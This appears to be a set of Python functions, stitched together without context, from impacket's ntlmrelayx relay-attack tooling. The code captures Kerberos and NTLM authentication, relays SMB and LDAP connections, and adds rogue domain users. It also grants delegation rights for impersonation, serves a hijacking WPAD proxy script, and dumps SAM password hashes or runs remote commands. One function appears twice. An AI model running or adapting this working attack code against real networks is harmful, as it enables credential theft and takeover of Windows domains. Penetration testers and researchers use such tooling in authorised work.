def do_PROPFIND(self): proxy = False if (".jpg" in self.path) or (".JPG" in self.path): content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>""" else: content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>""" messageType = 0 if PY2: autorizationHeader = self.headers.getheader('Authorization') else: autorizationHeader = self.headers.get('Authorization') if autorizationHeader is None: self.do_AUTHHEAD(message=b'Negotiate') return else: auth_header = autorizationHeader try: _, blob = auth_header.split('Negotiate') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD(message=b'Negotiate', proxy=proxy) return if b'NTLMSSP' in token: LOG.info( 'HTTPD: Client %s is using NTLM authentication instead of Kerberos' % self.client_address[0]) return # If you're looking for the magic, it's in lib/utils/kerberos.py authdata = get_kerberos_loot(token, self.server.config) # If we are here, it was succesful # Are we in attack mode? If so, launch attack against all targets if self.server.config.mode == 'ATTACK': self.do_attack(authdata) self.send_response(207, "Multi-Status") self.send_header('Content-Type', 'application/xml') self.send_header('Content-Length', str(len(content))) self.end_headers() self.wfile.write(content)
def addUser(self, parent, domainDumper): """ Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyEscalated if alreadyEscalated: LOG.error('New user already added. Refusing to add another') return # Random password newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) # Random username newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10)) newUserDn = 'CN=%s,%s' % (newUser, parent) ucd = { 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root, 'distinguishedName': newUserDn, 'cn': newUser, 'sn': newUser, 'givenName': newUser, 'displayName': newUser, 'name': newUser, 'userAccountControl': 512, 'accountExpires': '0', 'sAMAccountName': newUser, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.info('Attempting to create user in: %s' % parent) res = self.client.add(newUserDn, ['top','person','organizationalPerson','user'], ucd) if not res: # Adding users requires LDAPS if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.') else: LOG.error('Failed to add a new user: %s' % str(self.client.result)) return False else: LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword)) # Return the DN return newUserDn
def wrapClientConnection(self, cert='/tmp/impacket.crt'): # Create a context, we don't really care about the SSL/TLS # versions used since it is only intended for local use and thus # doesn't have to be super-secure ctx = SSL.Context(SSL.SSLv23_METHOD) try: ctx.use_privatekey_file(cert) ctx.use_certificate_file(cert) except SSL.Error: LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt') generateImpacketCert(cert) ctx.use_privatekey_file(cert) ctx.use_certificate_file(cert) sslSocket = SSL.Connection(ctx, self.socksSocket) sslSocket.set_accept_state() # Now set this property back to the SSL socket instead of the regular one self.socksSocket = sslSocket
def addUser(self, parent, domainDumper): """ Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyEscalated if alreadyEscalated: LOG.error('New user already added. Refusing to add another') return # Random password newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) # Random username newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10)) newUserDn = 'CN=%s,%s' % (newUser, parent) ucd = { 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root, 'distinguishedName': newUserDn, 'cn': newUser, 'sn': newUser, 'givenName': newUser, 'displayName': newUser, 'name': newUser, 'userAccountControl': 512, 'accountExpires': '0', 'sAMAccountName': newUser, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.info('Attempting to create user in: %s', parent) res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd) if not res: # Adding users requires LDAPS if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.') else: LOG.error('Failed to add a new user: %s' % str(self.client.result)) return False else: LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword)) # Return the DN return newUserDn
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) #TODO: Check if a cache is better because there is no way to know which target was selected for this victim # except for relying on the targetprocessor selecting the same target unless a relay was already done self.target = self.targetprocessor.getTarget() LOG.info( "SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True #Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
def openSvcManager(self): LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost()) # Setup up a DCE SMBTransport with the connection already in place self._rpctransport = transport.SMBTransport( self.connection.getRemoteHost(), self.connection.getRemoteHost(), filename=r'\svcctl', smb_connection=self.connection) self.rpcsvc = self._rpctransport.get_dce_rpc() self.rpcsvc.connect() self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR) try: resp = scmr.hROpenSCManagerW(self.rpcsvc) except: LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost()) raise Exception('Unable to open SVCManager') else: return resp['lpScHandle']
def __init__(self, server_address=('0.0.0.0', 1080), handler_class=SocksRequestHandler): LOG.info('SOCKS proxy started. Listening at port %d', server_address[1]) self.activeRelays = {} self.socksPlugins = {} SocketServer.TCPServer.allow_reuse_address = True SocketServer.TCPServer.__init__(self, server_address, handler_class) # Let's register the socksplugins plugins we have from impacket.examples.ntlmrelayx.servers.socksplugins import SOCKS_RELAYS for relay in SOCKS_RELAYS: LOG.info('Plugin %s loaded..' % relay.PLUGIN_NAME) self.socksPlugins[relay.getProtocolPort()] = relay # Let's create a timer to keep the connections up. self.__timer = RepeatedTimer(300.0, keepAliveTimer, self)
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) auth_data = respToken2['ResponseToken'] else: auth_data = authenticateMessageBlob self.session.sendBindType3(auth_data) try: req = DummyOp() self.session.request(req) except DCERPCException as e: if 'nca_s_op_rng_error' in str(e) or 'RPC_E_INVALID_HEADER' in str(e): return None, STATUS_SUCCESS elif 'rpc_s_access_denied' in str(e): return None, STATUS_ACCESS_DENIED else: LOG.info("Unexpected rpc code received from %s: %s" % (self.stringbinding, str(e))) return None, STATUS_ACCESS_DENIED
def getShares(self): # Setup up a DCE SMBTransport with the connection already in place LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost())) try: self._rpctransport = transport.SMBTransport( self.connection.getRemoteHost(), self.connection.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.connection) dce_srvs = self._rpctransport.get_dce_rpc() dce_srvs.connect() dce_srvs.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce_srvs, 1) return resp['InfoStruct']['ShareInfo']['Level1'] except: LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost())) raise
def enumerateShares(self): ''' :return: ''' shares = self.shell.do_shares("shares") shares_list = [] logging.info("Listing Shares") logging.getLogger().level = logging.DEBUG for i in range(len(shares)): share = shares[i]['shi1_netname'][:-1] logging.debug(share) if share not in self.ignore_share: if self.smbClient.isGuestSession() > 0: if "$" not in share: shares_list.append(share) else: shares_list.append(share) LOG.level = logging.INFO print("\n") if len(shares_list) != 0: for share in shares_list: try: LOG.info("Listing File And Directory For Share %s \n" % share) self.shell.do_use(share) directory_list = self.shell.do_ls('') print("\n") if "$" not in share: self.recursive_dirlist(directory_list, share) except Exception as e: LOG.level = logging.DEBUG if logging.getLogger().level == logging.DEBUG: import traceback #traceback.print_exc() logging.error(str(e)) print("\n")
def keepAliveTimer(server): LOG.debug('KeepAlive Timer reached. Updating connections') for target in server.activeRelays.iterkeys(): for port in server.activeRelays[target].iterkeys(): # Now cycle thru the users for user in server.activeRelays[target][port].iterkeys(): if user != 'data': # Let's call the keepAlive method for the handler to keep the connection alive if server.activeRelays[target][port][user][ 'inUse'] is False: LOG.debug('Sending keep alive to %s@%s:%s' % (user, target, port)) server.socksPlugins[port].keepAlive( server.activeRelays[target][port][user]['client']) else: LOG.debug( 'Skipping %s@%s:%s since it\'s being used at the moment' % (user, target, port)) # Let's parse new connections if available while activeConnections.empty() is not True: target, port, userName, smb, data = activeConnections.get() LOG.debug('SOCKS: Adding %s:%s to list of relayConnections' % (target, port)) # ToDo: Careful. Dicts are not thread safe right? if server.activeRelays.has_key(target) is not True: server.activeRelays[target] = {} if server.activeRelays[target].has_key(port) is not True: server.activeRelays[target][port] = {} if server.activeRelays[target][port].has_key(userName) is not True: server.activeRelays[target][port][userName] = {} server.activeRelays[target][port][userName]['client'] = smb server.activeRelays[target][port][userName]['inUse'] = False server.activeRelays[target][port]['data'] = data else: LOG.info( 'Relay connection for %s at %s(%d) already exists. Discarding' % userName, target, port) smb.close_session()
def findWritableShare(self, shares): # Check we can write a file on the shares, stop in the first one writeableShare = None for i in shares['Buffer']: if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL: share = i['shi1_netname'][:-1] tid = 0 try: tid = self.connection.connectTree(share) self.connection.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) except: LOG.critical("share '%s' is not writable." % share) pass else: LOG.info('Found writable share %s' % share) writeableShare = str(share) break finally: if tid != 0: self.connection.disconnectTree(tid) return writeableShare
def writeRestoreData(self, restoredata, domaindn): output = {} domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] output['config'] = { 'server': self.client.server.host, 'domain': domain } output['history'] = [{ 'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username }] now = datetime.datetime.now() filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S") # Save the json to file with codecs.open(filename, 'w', 'utf-8') as outfile: json.dump(output, outfile) LOG.info('Saved restore state to %s', filename)
def run(self): LOG.info("Running Gobuster Against The Server ..") # os.system("gobuster dir -t 50 -w %s --url %s:%s" % (self.wordlist,self.target,self.port)) output = subprocess.Popen([ "gobuster", "dir", "-t", "%d" % self.thread, "-w", "%s" % self.wordlist, "--url", "%s:%s" % (self.target, self.port) ], stdout=subprocess.PIPE).communicate()[0] raw_list = str(output, 'UTF-8').split('\n') directory_list = [] for raw in raw_list: if "Status: 301" in raw or "Status: 200" in raw or "Status: 403" in raw: directory_list.append(raw) if len(directory_list) != 0: for directory in directory_list: LOG.level = logging.DEBUG LOG.debug(directory) else: LOG.info("BadLuck No Directory Found. Try Another Wordlist ...")
def __init__(self, request, client_address, server): self.server = server self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) self.target = self.server.config.target.getTarget() if self.target is None: LOG.info("RAW: Received connection from %s, but there are no more targets left!" % client_address[0]) return LOG.info("RAW: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc)) super().__init__(request, client_address, server)
def printReplies(self): for keys in self.replies.keys(): for i, key in enumerate(self.replies[keys]): if key['TokenType'] == TDS_ERROR_TOKEN: error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')) self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le'))) LOG.error(error) elif key['TokenType'] == TDS_INFO_TOKEN: LOG.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))) elif key['TokenType'] == TDS_LOGINACK_TOKEN: LOG.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow'])) elif key['TokenType'] == TDS_ENVCHANGE_TOKEN: if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE): record = TDS_ENVCHANGE_VARCHAR(key['Data']) if record['OldValue'] == '': record['OldValue'] = 'None'.encode('utf-16le') elif record['NewValue'] == '': record['NewValue'] = 'None'.encode('utf-16le') if key['Type'] == TDS_ENVCHANGE_DATABASE: _type = 'DATABASE' elif key['Type'] == TDS_ENVCHANGE_LANGUAGE: _type = 'LANGUAGE' elif key['Type'] == TDS_ENVCHANGE_CHARSET: _type = 'CHARSET' elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE: _type = 'PACKETSIZE' else: _type = "%d" % key['Type'] LOG.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something went wrong, most probably we don't have access as admin. aborting LOG.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print self.__answerTMP.decode(self.config.encoding, 'replace') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: LOG.error(str(e))
def __init__(self,request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} ' if self.server.config.mode != 'REDIRECT': if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) self.target = self.server.config.target.getTarget(self.server.config.randomtargets) LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc)) try: SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) except Exception, e: LOG.error(str(e)) LOG.debug(traceback.format_exc())
def delegateAttack(self, usersam, targetsam, domainDumper): global delegatePerformed if targetsam in delegatePerformed: LOG.info('Delegate attack already performed for this computer, skipping') return if not usersam: usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) self.config.escalateuser = usersam # Get escalate user sid result = self.getUserInfo(domainDumper, usersam) if not result: LOG.error('User to escalate does not exist!') return escalate_sid = str(result[1]) # Get target computer DN result = self.getUserInfo(domainDumper, targetsam) if not result: LOG.error('Computer to modify does not exist! (wrong domain?)') return target_dn = result[0] self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) targetuser = None for entry in self.client.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: LOG.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) LOG.debug('Currently allowed sids:') for ace in sd['Dacl'].aces: LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) except IndexError: # Create DACL manually sd = create_empty_sd() sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) if self.client.result['result'] == 0: LOG.info('Delegation rights modified succesfully!') LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) delegatePerformed.append(targetsam) else: if self.client.result['result'] == 50: LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: LOG.error('The server returned an error: %s', self.client.result['message']) return